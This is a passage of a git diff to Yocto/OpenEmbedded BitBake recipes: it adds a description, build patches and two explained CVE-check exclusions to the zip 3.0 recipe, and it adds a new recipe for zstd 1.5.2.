a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb index c00a932763..07a67b9634 100644 --- a/meta/recipes-extended/zip/zip_3.0.bb +++ b/meta/recipes-extended/zip/zip_3.0.bb @@ -1,5 +1,6 @@ SUMMARY = "Compressor/archiver for creating and modifying .zip files" HOMEPAGE = "http://www.info-zip.org" +DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc." SECTION = "console/utils" LICENSE = "BSD-3-Clause" @@ -13,12 +14,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar. file://fix-security-format.patch \ file://10-remove-build-date.patch \ file://zipnote-crashes-with-segfault.patch \ + file://0001-configure-use-correct-CPP.patch \ + file://0002-configure-support-PIC-code-build.patch \ + file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \ " UPSTREAM_VERSION_UNKNOWN = "1" SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37" SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369" +# Disputed and also Debian doesn't consider a vulnerability +CVE_CHECK_IGNORE += "CVE-2018-13410" + +# Not for zip but for smart contract implementation for it +CVE_CHECK_IGNORE += "CVE-2018-13684" + # zip.inc sets CFLAGS, but what Makefile actually uses is # CFLAGS_NOOPT. It will also force -O3 optimization, overriding # whatever we set. diff --git a/meta/recipes-extended/zstd/zstd_1.5.2.bb b/meta/recipes-extended/zstd/zstd_1.5.2.bb new file mode 100644 index 0000000000..0ddff469b8 --- /dev/null +++ b/meta/recipes-extended/zstd/zstd_1.5.2.bb @@ -0,0 +1,39 @@ +SUMMARY = "Zstandard - Fast real-time compression algorithm" +DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \ +real-time compression scenarios at zlib-level and better compression ratios. \ +It's backed by a very fast entropy stage, provided by Huff0 and FSE library." +HOMEPAGE = "http://www.zstd.net/" +SECTION = "console/utils" + +LICENSE = "BSD-3-Clause & GPL-2.0-only" +LIC_FILES_CHKSUM = "file://LICENSE;md5=c7f0b161edbe52f5f345a3d1311d0b32 \ + file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0" + +SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https" + +SRCREV = "e47e674cd09583ff0503f0f6defd6d23d8b718d3" +UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)" + +CVE_PRODUCT = "zstandard" + +S = "${WORKDIR}/git" + +PACKAGECONFIG ??= "" +PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4" +PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz" +PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib" + +# See programs/README.md for how to use this +ZSTD_LEGACY_SUPPORT ??= "4" + +do_compile () { + oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} + oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd +} + +do_install () { + oe_runmake install 'DESTDIR=${D}' + oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd +} + +BBCLASSEXTEND = "native nativesdk" |